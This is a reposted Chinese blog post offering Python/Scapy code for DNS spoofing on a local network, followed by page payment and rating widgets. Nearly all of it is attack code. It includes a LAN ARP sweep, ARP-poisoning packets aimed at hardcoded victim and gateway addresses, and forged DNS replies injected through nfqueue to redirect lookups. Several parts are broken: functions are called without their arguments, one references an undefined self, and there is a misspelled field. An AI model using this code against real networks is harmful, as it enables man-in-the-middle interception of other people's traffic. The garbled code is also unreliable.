python dns欺骗

''''
from scapy.all import *
from threading import Thread
def DNShijacking():
    global wg
    wg=raw_input('Please enter your IP:')
    print '[+]dns spoof!'
    nwdf=dns_spoof(joker='{}'.format(wg),match={None:None})
    print nwdf.show()
DNShijacking()


def make_reply(ip, req):
    ip = req.getlayer(IP)
    dns = req.getlayer(DNS)
    resp = IP(dst=wg, src=ip.dst) / UDP(dport=ip.sport, sport=ip.dport)
    rdata = self.match.get(dns.qd.qna.me, self.joker)
    resp /= DNS(id=dns.id, qr=1, qd=dns.qd,
                an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata=rdata))
    return resp
make_reply()
'''
from scapy.all import *
from threading import Thread
import os
import sys
#Fast discovery host
def kuaisu():
    print '[*]Find the LAN host .'
    ans,unas=sr(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.3.0/24"),timeout=5,retry=3)
    for s,r in ans:
        return r[Ether].src

#ARP poisoning
def poison():
    send(ARP(op=2,pdst="192.168.3.41",psrc="192.168.3.1",hwdst="3C:46:D8:2A:CF:0B"))
    send(ARP(op=2,pdst="192.168.3.1",psrc="192.168.3.41",hwdst="00:0c:29:c7:e7:d8"))

def restore():
    send(ARP(op=2,pdst="192.168.3.1",psrc="192.168.3.41",hwdst="00:0c:29:c7:e7:d8"))
    send(ARP(op=2,pdst="192.168.3.41",psrc="192.168.3.1",hwdst="3C:46:D8:2A:CF:0B"))
    sys.exit()

def cb(payload):
    data = payload.get_data()
    pkt = IP(data)
    localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]


def jiec(payload, pkt, rIP):
    spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                  UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                  DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                  an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=rIP))
    payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
    print '[+] Sent spoofed packet for %s' % pkt[DNSQR].qname[:-1]

kuaisu()
poison()
restore()
cb()
jiec()

  

转载于:https://www.cnblogs.com/haq5201314/p/8686644.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值